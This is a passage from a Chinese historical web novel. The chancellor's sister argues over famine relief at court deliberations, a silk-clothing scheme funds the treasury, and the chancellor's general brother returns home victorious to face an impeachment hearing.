苏昀沉下脸来:“苏敏!”
苏敏也不恼:“行,你不放心,那就一步步来嘛。这样后天我先去,你看看表现,满意了再说别的,成吗?”
苏昀极其勉强地道:“......成。”
又补道,“你去了别说话,就坐在那里。什么也别干,行么?”
苏敏翻了个白眼:“哎哟,我又不是二哥,一根直肠子啥都往外说。放心吧,我会看着办的。反正,绝对、绝对不给你丢脸。”
34.公议
大话是放出去了。
可苏敏从未碰过政务,一时间要代“苏相”赴堂议政,心里着实有些发怵。
一回家,她便抱着几份卷宗不撒手,又翻法纲条目,一板一眼做起笔记来。边写,边回想和兄长的那番话——
她问:“你要我传什么?你说,我记着。”
苏昀却道:“我有些初判,但你得听他们辩,看证据,自己拿主意。”
略微一顿,又道:“你真要代我发言,就记三条:先讲人心,再讲道理;守住立场,不贬对手;事不争理,理不争名。”
苏敏又默念了一遍,再次埋头到案纸中去。
.
等她一身素裙踏入公议堂时,所有的目光都聚了过来。
“是苏家嫡女。说是丞相病了,来代为旁听的。”“怎么让一个女子上堂?丞相怕不是病糊涂了......”
苏敏心里一紧,极力当没听见,从容地在九个旁听席的首位坐下。
不多时,中书轮值主事举目一圈,介绍列席者,末了看向她:“苏小姐代丞相而来,可要先说几句?”
苏敏已打好腹稿,自然起身,正要开口——
大理寺少卿田尚便拱手:“议堂章程第七,旁听席可递意见,不可擅言。”
苏敏一怔,主事立刻来圆场:“田少卿,此席是代丞相,乃是特请之位......”
田尚面不改色:“敢问可有节文为凭?”
苏敏沉下气:“那是自然。”
便从袖中取出一案,递上,“这是丞相手喻,请少卿与主事过目。”
主事忙摆手:“丞相一早就派人吩咐了,哪需......”
田尚却当真接了从头读到尾,又盯着款印细看。最后合上,结论:“确为丞相手书,苏小姐可以发言。”
苏敏心骂,这人有病吗?
面上却只淡淡一笑,欠身道:“小女子才疏学浅,今日蒙召代言,还望诸位多加指教。苏家素不敢专断一策,愿与诸位共商其是,以解百姓燃眉之急。”
一言既出,满座皆微点头。有人私语:“果是苏家教养。”
再看她的眼神,也多了几分正色。
苏敏坐回位中,才觉手心里都是汗。略一定神,才展开第一份案卷。
.
第一案讲的是梁州某地擅自减免秋粮,御史以“废例”劾之。第二案则是一名寒门医工越辖救人,被控“滥医”。
苏敏默然听着,记着,逐一写下发言人的立场、主张与用语。写到田尚,听他道“要是一县困苦,就可自定赋额,那律例又有何用?”
便在纸上批了句:“法,冷,无情。”
“无情”二字下,又重重画了两笔,墨色几乎透纸。
如此到了第三案——
这一案讲的是赈粮分配。
建康南郊几村,一村富户多、存粮多,却按户口得了最多的赈粮。另一村灾情重、实口多,反得粮最少,因而据此告发。
这两村都苏敏去过,自忖有数,便起身陈词:“若一味看旧籍,可谓是‘纸上断命’。事关人命,何不以丁口实数为准?”
田尚却道:“依赈法,粮按登籍户口发放——户口未登,官不可发。苏小姐代丞相言事,却鼓励越规,实有误民之嫌。”
苏敏不满,反问:“这两村,你可去过?”
田尚答:“不曾。”
苏敏道:“我去过,昨天才去的。你若也亲眼看见,那灾村里寡母如何卖子求生,六旬老人如何收拾行李、准备逃荒——就不会这样说了!”
再转向主事,很快地一礼:“小女祈请,即刻派人按户实查,挨家送粮,不可再误!”
话音落下,堂中不少人点头,也有人蹙眉不语,都看主事如何裁断。
主事面色微动,缓缓道:“苏小姐所言,有情、有理......”
田尚却冷声接口:“但不合法度。”
他转向众人,朗声道:“赈法第十七条明定:灾期从宽,户以旧籍为据。若因一地一纸哭诉而改配额,是否也要容人伪哭诈哀、按街讨粮?”
再看向苏敏:“挨户查勘?光在建康灾村就逾千户,放眼天下,要用多少人力来查?若耽误了时机、饿死百姓,是你苏家担责,还是朝堂担责?”
末了拱手作结,掷地有声——
“慈心无可非议,但在议堂之上,不为私怜,只问公理!”
.
“我居然输了!”
苏敏一边啃鸡腿,一边气鼓鼓地嚷着,“明明全场都点头了,连旁听席的人都说我说得对,结果主事还是裁成‘分配无误’——这还有天理吗!”
戴如君抱着乱动的苏澄喂饭,正手忙脚乱,随口问:“啊,是那个主事不对付么?”
“不
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是。”苏敏咬牙切齿,“是那个大理寺的有病!会背几本法典就了不起?冷血、刻板,鼻孔都朝上去了!”
说着又嚎,“他这么一搅,我怎么跟大哥交代?丢人都丢到家啦!”
戴如君宽慰:“这哪算丢人?你第一次上堂,就说得人人都点头。要是我去,只怕一句都说不出来呢。”
又道,“丞相既托你出面,自是信得过你。你就放宽了心......”
苏澄忽然举手,高呼:“放宽心!”
说完一溜烟地蹿下凳,撒腿就跑。
戴如君只能拿着碗去追:“还没吃完呢,回来——”
.
怎么宽心?
兄长病成那样,她一点也帮不上,还丢了他的脸面。
苏敏沮丧了一天,还是鼓起勇气去草庐认罪,闷声叫:“大哥......”
苏昀正在书房里批折子,招了一下手:“来了?坐。”
苏敏见他仍是眼下发青,疲色明显,一身粗丝衣空荡荡的。不由声音更闷:“要不我还是跟小籍子去卖丝衣好了,至少不误事......”
苏昀一笑,放下笔。“那可不成,十日后还有一堂公议,我还指望你替我去呢。”
苏敏瞪大眼:“还去啊?”
苏昀点了点头:“上回你做的不错,有礼有节,风评很好。”
“可我都被堵得没话说了......”
“你去,是为百姓说话,不是为你苏敏扬名——本就不是求赢。”
苏昀微笑:“而且张主事平衡法理、情理,我也很满意。若是我去,说了一样的话,他可就不敢那么裁了。”
苏敏轻轻抿了一下嘴角,没吭声。
苏昀又道:“还有那个田尚,出了议堂又写了篇长文来论证,看来是被你逼得不轻呢。”
苏敏这才眼里亮了些:“写了什么?”
苏昀便将那几页递过去。
她接过来一看,不禁道:“哎,他也去南郊查了?”
苏昀道:“是呀。你做了实地走访,他没做,若不补回来,他自己心里都不服呢。”
苏敏又翻了一会儿,脸上慢慢有笑意。又收了笑,正色道:“大哥。”
“嗯?”
“我可以学,可以去。可是——”
苏敏看着他:“你也照顾好自己,好不好?就当是为了我……”
35.大理寺
大理寺,时近黄昏。
几个寺丞在厅中,一边理着案卷,一边议论:“哟,议政堂初六案审,又有那位苏小姐的名!怎么,丞相以后是不管了么?”
另一人道:“听说是身体不好,管不过来了。中书那边也得了令,说把每日递府的奏章压到六十份以内。又提了几个特使,专办赈务,自己主抓筹粮、筹银的事。”
“哎哟,要是丞相都撑不住了,这朝廷可怎么办呀!”
“你拿着白菜的俸银,也操着皇帝的心么?安啦,天塌下来,总有高个儿顶着嘛……”
正这样叽里咕噜地说着,有人走进门:“议政堂的案子到了么?”
众人赶紧收声。一人哈着腰,递上一打卷宗:“少卿,都在这儿呢。您看——”
田尚接了一掂,头也不抬,转身就走了。
众人皆松了口气。
有人嘀咕道:“这位田少卿,还真个怪胎。除了法务,什么都不往心里搁。三十好几了,也不娶妻生子,天天就猫在寺里值房,给多少活都干。”
“可不是。一点人情不通,谁都敢杠。上回那场公议,不就把苏小姐都得罪完了?”
“这下去,他那位子只怕悬着呢……”
.
初六,田尚照例早一刻钟入堂。
进门时,苏敏也恰好从一侧走来,见了他便率先一笑:“田少卿,今天气色不错啊——可是备好了,再驳我一回么?”
田尚看了她一眼,只道:“昨夜子时即睡,早用小米粥一碗、素包两个,并无特别。”
苏敏:“……”
二人再无话,各自入座。
众人也陆续入座,主事主持,依例一案案地过。
这次苏敏准备充分,几乎每一案都会发表意见。田尚更是绝对主导,二人争辩就一路没停过——
谈到“百姓私引官渠灌田”一案,田尚坚称:“盗渠之人,扰乱民秩,必须严惩。”
苏敏则道:“官建本就是为民,如今百姓真要用水,却说他们是盗,岂非本末倒置?”
再到“老妇冒名请赈”一案,田尚道:“依《刑典》三十八,此女诈冒,应判收监三年。”
苏敏反驳:“敢问田少卿可还记得,一年前江洲疫灾,丞相亲断‘为活命而报虚名者,可罚不可拘’的那一案?”
田尚略一顿: “记得。”
苏敏笑道:“此案情形相类。若按旧断,这人当罚不当狱!”
如此有来有回地过了五六案,直到“青州赈粮方案”的讨论——
有青州士绅举报,称当地赈灾时“优先寒门、忽略宗族”,且混入了不少冒名户。当地百姓因此聚扰,要求依族籍重审灾户身份,并请由宗族长出面,审定发粮名单。
此提案简单易行、符合当地礼俗,户部代表直言支持,地方署也赞成。
苏敏因不熟青州,没有发言。
事无律法可依,田尚也只一直听着,没开腔。听来听去,主事的便欲下初裁:“青州新赈或可取,待送中书……”
田尚却忽然开口:“且慢!”
厅中一静,只见他起身,语气平平,却字字钉铁:
“灾荒之年,官府设赈,不问出身贵贱,只问是否饥寒。若以宗族断饥饱、以谱牒量命数,那朝廷为何还要设仓发粮?不如全数交予宗长,自成小朝天子便是!”
“我只问一句:一户孤女寡母、逃散之民,无宗无谱——他们不是人?不是大晋子民?”
“今日你让宗族审户,明日是否就要听宗族断案、行刑、夺产?律中虽未明禁此事,然而纲常在上,此口一开,百姓之命危矣!”
话音落下,满堂陷入一片寂静。
苏敏顿了一会儿,缓缓起身:“小女虽不通青州礼俗,但以为少卿所言,情理兼具——”
略一欠身,“恳请再设核查之法,延后再裁。”
.
待堂议散去,众人各自收拾离席。
苏敏绕到田尚座前,略略一礼:“少卿今日一席话,小女心服。先前多有莽撞,还请少卿海涵。”
田尚却道:“今日田某所言甚多,不知苏小姐说的是哪一席话?”
苏敏:“……”
但她苏小敏自诩能见鬼说鬼话,当真回答:“……你说得最长的那一桩。”
田尚便捡起自己的笔记,仔细地看了两息,看得苏敏差点抬腿要走,终于点头道:“第六案共言一百六十七字,确为最长。苏小姐所说,便是‘青州赈粮’一案吧?”
“……”
苏敏沉默片刻,最终艰难道:“是的,说得很好,算得……很清。”
田尚略一欠身:“多谢。”
便转身欲走。
苏敏瞪眼:“我还没说完呢!”<
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田尚略吃了一惊,回过头来:“苏小姐还有事?”
苏敏再三深呼吸,忍着白眼道:“……我不通法务,日后若有不明,可否向少卿请教?”
田尚沉吟:“可是旁听席,主要是代民情。引入法理,乃是大理寺的职责……”
“……我是代丞相来的。”
田尚想了想,点头:“也是。”
便拱手一礼:“苏小姐日后若有疑问,田某当知无不言,言无不尽……”
.
“有病,绝对脑子有病!”
苏敏一边端着饭,一边哔哩吧啦地感慨,“嫂嫂你知道吧,那个田尚,我跟他打个招呼,他居然跟我汇报早餐吃了什么……谁问他这个啊?”
戴如君好容易抓住苏澄,让左右奉上一堆玩具,才终于喂上了第一口饭。一面随口答道:“……那还真是怪人呢!”
苏敏又道:“嗯!后来我实在受不了,随便嘲了他一句‘比律例还古’。他就开始跟我数,大晋律例从一到三十都是哪年初颁的。我真……”
戴如君却道:“小澄,要嚼,别含着。”
苏澄只顾着玩玩具,左手一个木马,右手一个竹蜻蜓,根本充耳不闻。
戴如君却算松了口气,心道,好在是坐住了。慢慢喂,总是能吃下去的。
便交给了侍女去做。
回过头来,苏敏已经吧啦吧又说了一大堆了。
戴如君擦了擦汗,不由笑:“阿敏,你可真幸福。”
苏敏冷不丁:“啊?”
戴如君道:“老太太和两个哥哥都这么疼你,你想做什么就做什么——还能上堂议政,遇到这么多稀奇古怪的事。有时,我真有些羡慕你呢……”
苏敏当这位温柔的嫂嫂是挚交,一向畅所欲言,这时才发觉竟自己说得太多。连忙道:“哎呀,哪有什么好?我都快烦死啦!”
又看向边吃边玩的苏澄,“你看,小澄这么可爱,二哥又是一国大将,京中谁不羡慕?你才是真正的福气人呢……”
戴如君低下眉,轻轻地“嗯”了一声。
苏敏见她不大开心,却不解缘由,只好笑道:“嫂嫂是累着了吧?小澄是皮了点。”
又去拉她的手,“要么你明天歇一歇,我带他玩一天,也顺便催催我大哥吃饭。这一大一小,吃饭跟登天似的,非得凑在一块才吃得香呢……”
36.好事
苏昀醒得很早。
他看见窗外由暗转明。
听见外面传来鸟声、草庐中仆人轻行,不觉皱了皱眉。
头还是发沉,左臂压得发麻。明知坐着会好受些,身体却像垮了似的一点动不了。就这样懒懒地躺着,直到天色亮了起来。
门外有人轻声讲话:“哎哟,籍公子您可轻些。今天难得休沐,公子还睡着呢……”
他闭上眼,又躺了一阵。
直到窗纸透白、实在拖无可拖,才低低咳了一声:“宁伯。”
宁伯守在门外,立刻应声推门而入,动作极轻。脸上带着笑意:“今天可稀罕,都睡到辰时啦——可是睡得踏实些了?”
苏昀慢慢地支起身,答了句:“还行。”
宁伯一边扶他起,帮他穿衣、洗漱,一边笑着念叨:“籍公子一早就来了呢,说是有好事要报。等会儿老奴把早饭端来,您要不和他一块儿吃?”
苏昀心想着,苏籍之那张嘴能报什么好?
却还是应了声:“行。”
等他收拾妥当、到桌边坐下,苏籍之便兴高采烈地进门了:“昀叔!好消息,天大的好消息!”
苏昀淡定极了:“嗯。”
苏籍之一屁股坐下:“你别不信啊——是粗丝的事!从昨天下午起,就陆续有人来订,到晚上都快抢疯啦!”
亮了亮手里的单子,兴奋道,“就在你睡觉这会儿,我又收了五六单——一单比一单多!你看这家小李布庄,一口气要了五十匹,还主动加价,叫我千万给他留着。”
苏昀着实未料,愣了一下:“怎么做到的?”
苏籍之笑不拢嘴:“我也不知道啊,忽然生意就自己来了——可能是老天爷开眼了吧!哎,算命的就说我命里带财,二十岁后走运、二十五岁发大财,我这个月刚好满二十,可不就来了么……”
苏昀却静了一下,吩咐:“事出必有因。订单先收着别应,看看情况。”
苏籍之“啊”了一声:“可要不赶紧拿下,一会儿人家后悔了咋办?”
又念叨,“我卖了这些天算是明白了。这粗丝给平民太贵,给士族又不体面,不上不下,可真不好卖呢……”
.
苏籍之再大的担心,到中午时也烟消云散了。
竟不是因他“命里带财”,而是——
“许生?”
宁伯笑着禀:“是。听说昨天许生带着样衣,亲自去了几家大铺子。说是改了式样、选了新配色,一夜之间就传开了,城西布庄还排了长队呢!”
又拿出一个包袱,“老奴也是央了半天,才借了一件来的,您看……”
苏籍之立刻扑上去拆,一骨碌就套头上了。
原本卖的样式,衣型如宽长布袍,粗丝本色,用最低廉的布扣。
而这一件——
则是取了时下最兴的儒衫廓形,染成淡青色。袖口收窄,微绣“泽民”二字,低调中透着一层贵气。
苏籍之对着镜子,左右看了看:“哎,是挺好看的哩!”
又去对比苏昀身上那件原版:“这么一比,叔你这穿得就跟捡破烂似的……”
苏昀:“……”
宁伯在旁忍着笑:“籍公子可留点情面吧。”
苏籍之便拍了拍苏昀的肩,宽慰:“那也是全建康最俊的捡破烂。你人长得好,穿麻袋都好看……”
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>苏昀:“……”
.
许生新改的粗丝衣,灵动百搭,不论寒门士族都觉好看。再加上“泽民”二字,显出利国利民之志,一时间风靡全城。
原本一两一件的成衣,最后卖到五两之高。
几千匹粗丝,在短短数日内抢售一空,纳入国库的银两竟有上万。
苏籍之自己也掏钱买了两件,硬塞给苏昀一件。“姓许的说就是照你做的,让人跟你的风,你自己不穿,像话么?”
苏昀勉为其难,收了,也试了,一看真像是量身制的。
半晌没说话,只在心底想:
“所以那厮说我穿得丑,居然是认真的……”
.
好事一来,便是接踵而来。
许生趁势连推了一串民间捐款之策:凡捐银过百的商铺,允许冠“义庄”之名。又在城门立善名碑,捐多的世家列榜上位。零零总总,又凑了数万银。
眼见筹资大业渐入佳境,他再次登门草庐,递上一章“公卖虚爵”的折子,淡淡一敲:“你要同意,几十万我都能搞来。”
苏昀扶额:“还不至于到这一步。”
发现对方并不肯放,仍盯着自己,只好又清楚地补了一句:“不行。”
好在二人一个运转官仓挪拨,一个调动民间相补,一来二去也将朝局撑到了冬末。
建康一向暖冬,这日却下起了小雪。
苏昀打开窗,伸手接了一点雪末子,冰凉凉的。不由自语:
“瑞雪兆丰年。”
正当他起了一点希望,更好的消息又传来了——
一封黑漆封函,苏骏亲笔:
“大胜在即。”
37.雪夜
江北嘉陵,大雪纷飞。
营中却正热火朝天,欢声不绝。一些人抬着军械,一些押着俘虏,人人是笑语连连,满面压不住的喜色。
几个副将聚在主帐里,也是眉飞色舞:“这回是真打透了!引那帮羯狗子进来,三路一夹,杀得他们屁滚尿流,主力全崩了!”
“可不是!咱们粮都快断了,全靠以战养战,硬是给他磕了下来。这仗打得爽、赢得狠——名声一传出去,估计是好几年都不用愁啦!”
正说着,营帐帘子一掀,一阵寒风卷雪而入。
众人忙起身相迎:“将军。”
苏骏仍是一身大红军袍,肩发上沾了雪。
他大步入帐,将头盔往桌上一搁。自己旋身坐下,一抬手:“报。”
帐中顿时一肃,几个副将依次出列禀事。
“军中伤损初点毕。阵亡一百五十七,轻重伤八百四十 。前锋营需换甲补器,已报入仓。”
苏骏问:“伤药够么?
那人一愣,低头:“……还,没查。”
苏骏脸色不变,只道:“去查,查清楚了再来回话。”
又有人禀:“此战所获初点毕。粮食三百五十二车,布匹军甲一百四十,牛羊各两百头。”
苏骏皱眉:“就这点?”
那人便开始冒汗:“……羯人各部逃遁前,损毁了不少辎重。主粮营烧了两处,咱们抢出的就少了。”
苏骏静了一息,才道:“省着点用,过了冬再算。”
如此七八人禀完了事,竟成了满头大汗。出来一聊,个个是叫苦连天:“这哪里是打了胜仗的样子?他那一眼瞪过来,我骨头都哆嗦了!”
“哎,将军是这样的了,你们第一天知道么?所谓胜不骄、败不馁……”
“不过算算日子,火旗使也快到了吧。兴许脸色能好点……”
话音未落,远处忽传来一阵马蹄疾响。
雪地里,一骑疾驰而来。马上的人一身黑衣便装,腰佩火符,刚一勒马,便翻身直奔主帐。
“报——建康来信!”
.
苏骏倒在铺上,把那封兄长的短函,看了又看。
寥寥几行字,仍是一贯的克制、平稳,叫人读不出情绪。
他手一偏,又抽出前几日那封长信。开头一句是:“大胜可喜,先稳后方,毋虑朝局。”末尾写着:“吾安,勿念,盼汝回京述职一聚。”
他盯着那行“毋虑”看了许久,眼角微跳,终是没说一句话。只将信纸盖在脸上,闭上了眼。
这一觉睡得昏沉,直到傍晚天色将黑才醒。
草铺冰凉,头顶木梁挂着一盏未燃尽的油灯,风雪在外帐呼呼作响。他坐了片刻,低头将几封信一一叠好收起,又叫人来:“备马。”
随身兵吓了一跳:“您是要去哪儿?外头正下雪暴呢……”
苏骏系好斗篷,语气平淡:“出去溜溜。”
又补:“晚上不回了。”
.
大雪夜。无星无月的暗。
风像刀子般扑打在脸上,呼啸如鬼。眼前天与地都失了界限,只剩大片大片的白,没完没了地落。
苏骏披着斗篷,一人一马孤身踏入山中。
马喘得重,蹄下积雪深至半胫,每踏一步都极艰难。树木冻裂的声响,在林中不时炸开,四野无人,应声空回。
风雪中辨不清路。他却没停,一路往东。看见熟悉的石碑、废井、枯树,被雪埋了大半,只有山脊处隐约露出一线高火。
他弯腰拢了拢斗篷,抖去雪粒。
又一夹马肚而上。
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所以当苏骏顶着一身风雪,出现在青山坞门外时,祖奕眼珠子都快掉出来了。
“奶奶的,有病吗?”
立刻脱了身上的大裘,强行将这冻成雪棍似的人裹住,一口气拖进屋。烧热汤、上炕,又端出十个火炉。
苏骏道:“我不冷。”
祖奕“呵呵”了一声,把自己的一套干衣服丢了过去:“换吧。我看着冷!”
又一头钻进厨房,锅碗瓢盆响成一片。
没多久,门口有人探头:“喂——”
怎么说呢。
祖奕个头不高,主要是一身的精膘。他那套土匪大棉袄、加条虎皮纹的裤子,穿在高个的苏骏身上,脚踝就漏了一大截,身上又瘪,着实有点不伦不类。
苏骏一脸嫌弃:“找件像样点的行么?”
祖奕忍着心里的狂笑,一本正经:“不是不行,就是冬天大家都不洗衣服,你要是不介意……”
苏骏道:“……算了。”
随手摸了根腊肉干,啃了口,“今天搞什么吃?”
祖奕继续砰砰地斩鸡块,随口道:“鸡炖干笋,腊肉萝卜汤,再切点腌蒜花,炒个雪菜……”
苏骏道:“别搞那么复杂,整快的就行。”
边说又去摸第二条腊肉干,却被祖奕打了一下手,整盘端走。“哎呀,给你吃完了,等会干喝萝卜汤么?等一下!”
又念着,“一个贵家子,怎么就一点不讲究呢……”
顺手扔了一盘热馍来,“先吃这个垫着!”
做好了饭,苏骏毫不客气,结结实实地大吃了一顿。眼见菜、肉都下肚了,又就着汤汁泡饭吃了一碗。祖奕看得咋舌,去灶里掏了几块锅巴饼子过来。
“你是饿鬼转世么?来,把这也吞了吧。”
苏骏当真接了,随口道:“你不知道我军里缺粮么?”
咬了口,皱了下眉,还是就着口汤咽下去了。
祖奕心道,这哪来的倒霉孩子。
又道:“好在打完了仗,可以回去封赏了吧?到时叫你婆娘整点好的,什么龙虾啊鲍鱼啊……啊!还有你之前请我喝的那个酒,啧……”
苏骏“唔”了一声:“我回去翻翻,还有的话给你寄点。”
祖奕嘿嘿一笑:“那也不枉我请你吃了这么多顿。”
又问,“哎,赢了羯人,你有啥赏啊。说来我羡慕羡慕?”
“可以回家。”
“……说点实在的行么?”
“最实在了。”<
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p>“没点物质上的,什么金啦、地啦、女人啦,再不济封侯拜爵什么的?”
“江南大旱,国库告急。”
“……”
苏骏解决了锅巴,拍了拍手:“其他不知道,弹劾倒有不少。”
祖奕瞪眼:“啥?你都把羯人打趴下了,还有人敢弹你?是瞎了还是活腻了?”
“案子是早就备着的。仗打完了,正好拿出来用一用——卸磨杀驴,都这样。”
祖奕看了他一会儿,忽然用手去探他的额:“你没烧吧?”
苏骏立刻挡开:“烧什么?别弄。”
祖奕忽然爆粗:“不烧才怪!你听听你说的这叫什么话?你得干,干他奶奶的!谁敢往你头上撒野,你就得拎盆火回他娘家点灯!什么王八羔子……”
越骂越气,最后一拍桌子,震得碗都跳了半寸高。
回头一看,苏骏还是一脸淡定:“继续啊,挺解气。”
祖奕差点一口血上来,上去又抓着他的肩,声都劈了——
“你是不是贱啊?图什么呢你?”
.
图什么呢?
当晚苏骏躺在暖炕上,一手搭着额头,望着屋梁。
他想起无数个睡不着的夜晚,爬起来给那人写信。一封封写了又撕,最后寄出的,五分之一都不到。
又想起一年前局势暂稳,得以告假回建康一趟。虽然只有短短十天,虽然来回就花了二十天、马都跑断了腿,虽然总被他赶出门,被他说“成天在我这像什么样子”。
可当他赖着不走、装睡的时候,那人还是会给他盖上被子。
在他身边坐一会儿,轻轻地叫一声:“阿骏”。
他闭上眼,试图入睡。
.
第二天送这厮下山,祖奕还是黑着脸,嘲道:“准备好回去受气了?”
苏骏吃饱睡足,痛快地应了一声:“不能更好了。”
祖奕:“……有病。”
一边骂,一边挥手:“东西呢?”
底下便推出十辆车,粮食、腌肉和白菜,堆得满满当当。
苏骏愣了一下:“给我的?”
祖奕冷哼一声:“借你的!江南旱着,好在江北小丰,仓里还剩点边角料。借你吃几天,回头得还我双份!”
苏骏“哦”了一声,笑:“成。”
便翻身上马。
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主帅在大雪夜里“出去溜溜”,军中的人无不是心里打鼓。不知他去了哪儿,更担心他会被困、走失。正踌躇着要不要去找——
苏骏回来了。
还带着十车粮食。
还看起来心情特好。还在随身兵来牵马时,冲他笑了一下,说了句“谢了”。
那随身兵差点没当场撅过去。
没人敢问这些粮食哪里来的,个个埋头做事。
只有那可怜的军需官,职责在身,纠结了一整天,最后还是鼓起勇气、小心地问:“将军……这批粮,怎么入账?怎么分配?”
苏骏神色轻松:“路上山民送的,吃就是了。”
38.团圆
苏骏安顿了后方,便带着一纵亲兵,快马回京。越是临近,脚程便越是急——
管他虎穴狼巢,终归是回家!
直到建康城外,远远便见百官列队相迎。最前头的,不就是那人?
苏骏极力压着一颗心,没有立刻冲上去。等走到近处,却猛然看见——
那人仍是一身笔直的深蓝官衣,可实在太瘦了。朝服空空荡荡,风一吹,人像是要被吹走似的。脸色白得不对,唇也没什么血色。
他心里像被重重地撞了一下。
满脑子只剩下:什么安好,全是骗人的!他都经历了什么?天,我为什么没有早点回来……
这样思绪狂乱地翻着,整个人都是懵的、麻的。
他木然地下马,受了朝拜,接了诏令——封了个什么侯,赏了什么地、什么金,一个字也没听进去。又任人一路引入了皇宫。
琅琊王亲自主持凯旋宴,特意让人将封金千两、金带玉印都一一呈了出来,又将一匹赤骧马牵出。“你是爱马的人,这一匹骨骼奇峻,是从西梁千里调来的良种。你瞧瞧,喜不喜欢?”
苏骏望着那匹血色骏马,只觉是兄长所泣之血。至于那金封玉印,天知道他又是怎样一点点地凑出来的。
他喉头动了一下,终只是道:“陛下费心了。”
宴席歌舞不歇,他一杯杯地喝下去,眼里心里却只有那人。整席他不过动了两三口,又中途出去一趟——我能过去看一眼吗?
如此万分煎熬着,好容易才等到散席,琅琊王却还不肯放人,拉着他“哥哥弟弟”地胡扯一气,最后满口酒味地道:“……那些弹章你不必理会——只要有孤在,就没人敢亏了你!宏之,哥哥心里知道你的好,你二哥的好。苏家好,嗝,大晋才好嘛……”
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从宫中出来,苏骏再也按耐不住,直奔草庐而去。
冲到门口,翻下马便喊:“哥!”
宁伯赶忙迎了出来:“二公子。”
苏骏直接往里走:“人呢?在书房么?”
宁伯道:“睡了,刚睡下。”
苏骏勃然大怒:“他怎么不等我?他知道我会来的!”
宁伯好言劝道:“不是公子不想等,是实在熬不住了……您让他睡一觉,明天,明天他一定会见您的,好吧?”
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苏骏慢慢回了府。
刚进门,苏敏立刻一头扑进他怀里:“二哥!我想死你啦!”
老夫人也拄着拐杖来:“黑了,也瘦了!都没吃好吧?最近在家要好好补一补……”
戴如君则牵着苏澄过来,声音温温柔柔:“爹爹回来了,要说什么?”
苏澄看着这几乎不曾谋面、高大的父亲,扭捏了一下。最后还是规规矩矩地作了一揖:“儿,见过爹爹。”
他望着这些至亲的家人——
本是梦里盼了无数次的画面,却觉心里空得很,像是看别人家的团圆。
便只是草草地抱了一下妹妹,握了握奶奶的手,又望向那个怯生生的孩子。眉眼像她,不像他,格外地陌生。
他没说话,点了点头,便往里走了。
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这一夜,苏骏明明累极,却怎么也睡不着。
一颗心像坠入了水里,不断地往下沉。快天亮了,才短暂合了一下眼。
好在天亮了不久,门外便有低低的交谈声——
“相公还没起,可要叫他么?”
“别。他累坏了,让他再歇歇。”
后一个竟是苏昀的声音。
苏骏在朦胧间听见,以为是错觉,含着这一点思绪又眯了会儿,却突然惊醒——不是梦。这是在家,是他,一定是他!
当即翻身起床,披上衣就往外走。
腰带还没系,鞋也没穿好,一脚踩在廊下冰凉的青砖上,放眼去——
门外却早没了人影。
戴如君正好端着食盘经过,“啊,相公起了?”
苏骏问:“苏昀是不是来过?”
问出口的瞬间,发现自己竟是无比确信,没有。他没来过,要么就是已经走了。
然而戴如君却答:“嗯,在花厅,正和小澄吃早饭呢……”
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苏骏踏入花厅。
苏昀果然正和苏澄说着话,一边剥鸡蛋:“……那我吃了,你就输了啊。”
苏澄张大嘴巴,忽然“啊呜”一口将整个鸡蛋抢了过去,塞得满嘴都是!
苏昀无奈地笑了一声:“哎呀,才剥好的……”
戴如君这才进门,将一碗汤面摆到桌上,声音很轻:“都在吃了啊……相公要不要也来一点?”
就这样,一颗心便被托住了,有了依靠。
苏骏安静地吃了早饭,没说什
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么,又跟着兄长去了自己书房。任由他指派人将一大摞卷宗堆到桌上:“还有五天就面审了,你先熟悉一下材料吧。”
苏骏没有说话。
苏昀语气更柔了一些,劝道:“我知道你委屈,但熬一熬就过去了。那些弹章空得很,他一页我能回十页,压不住你的。”
又道,“要是看不完也没事,我可以往后推,不必勉强……”
苏骏摇了摇头,拿起最上头那份卷宗:“不用。”
又补了一句,“我可以。”
苏昀道:“我这几天跟你一起,有什么不明白的,随时问我。”
便让人把自己要看的奏章也一一搬了进来,堆在榻边的小几上。那一天的分量,显然苏骏五天加起来还多。
苏骏闭了一下眼,低声道:“哥。”
苏昀抬头:“嗯?”
“你瘦了。”
苏昀微顿,笑了笑:“是啊,前阵子忙,睡不太好。”
又道,“不过现在好多了,自你打了胜仗,我都一个多月没头疼过啦。”
苏骏“哦”了一声,低下头。
极力地强迫自己,把注意力集中在卷宗上。
.
接下来的几日,总算有了团圆的感受。
苏昀为两人都告了事假,日日都来苏骏这边,陪他吃饭、看卷宗,有一搭没一搭地闲话。
苏骏一开始仍拘着,话少、神色冷,吃东西也慢。但到第三天,终于自己添饭了。
再后来,竟也会笑了。
说起羯人都用手抓饭,大学他们唱的跑调军歌,苏澄听得直乐,连戴如君都笑弯了眼。
苏昀微笑着听,又给他递了一杯茶。“润润嗓子。”
苏骏接了,也喝了一口。
只觉得心里那口气,正一点一点地缓过来。
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等到面审的那日,苏骏已是精神焕发。
苏昀让他把材料一并带上,他却指了指脑袋:“都在这了!”
苏昀一怔,笑:“全记住了?”
“你弟聪明绝顶,你不知道么?”
“嗯……我记得你最后一次文试是八岁的事吧?”
“嗨。次数不关事,脑子好用就成。你就等着,晚上给我庆功吧!”
苏昀笑了:“行。”
又轻拍了他的臂,“晚上等你吃饭。”
39.面审
面审在都察院。
苏骏位列三公,所涉重大,都察院、大理寺、刑部三部联合提审。许生作为御史中丞,亲任主审,审后再呈琅琊王裁定。
弹劾内容五花八门,自苏骏出生起一路罗列,直至五日前都在其内。有些是根本想也想不到——比如苏骏十岁从军时虚报年龄,便有人弹劾他“伪造军籍”。
有些则是捕风捉影、牵强附会。比如他曾下处理一批劣马,被说成是“败坏军资”。或者某份战报中写着“斩首三百”,又被质疑为夸大战果。
还有一些是切实发生过的——
“私扣前荆州刺史周祺。”
许生翻开一卷,语气平静:“这事满朝皆知,证据确凿。你可认罪?”
苏骏淡定道:“什么证据?周祺路过江州,我请他吃酒,完了他自己不肯走。关我什么事?”
许生道:“周祺当年曾递奏书,也有家书为证。”
苏骏“哦”了一声:“他自己写的,想怎么污我还不是他自己高兴?他有‘物证’,那我还有江州的全军当人证呢。”
不耐烦地补了一句,“有本事,你叫他从坟里爬出来跟我对峙!”
堂下一阵哗然。
许生拍案:“肃静!”
又翻了几页,重新道:“那么,在卢士瑶死前,你曾扣留水路巡官,以推侨置郡县。此案有五个人证,都可当庭对质,这事你总该认了?”
苏骏道:“一码归一码。卢士瑶的死,你要能证明是我干的,我就认,不然就别旁敲侧击——没意思。”
又道,“水路巡官嘛,他们收了卢士瑶的钱,硬找茬扣仁心堂的赈粮。我就是请他们喝一喝茶,聊聊情况。这里有当时的口供,还有人证——”
似乎仔细算了算,结论,“十三个——也就是不敢给你作证的那十三个人,都在我这。要不要叫他们也上来对堂?”
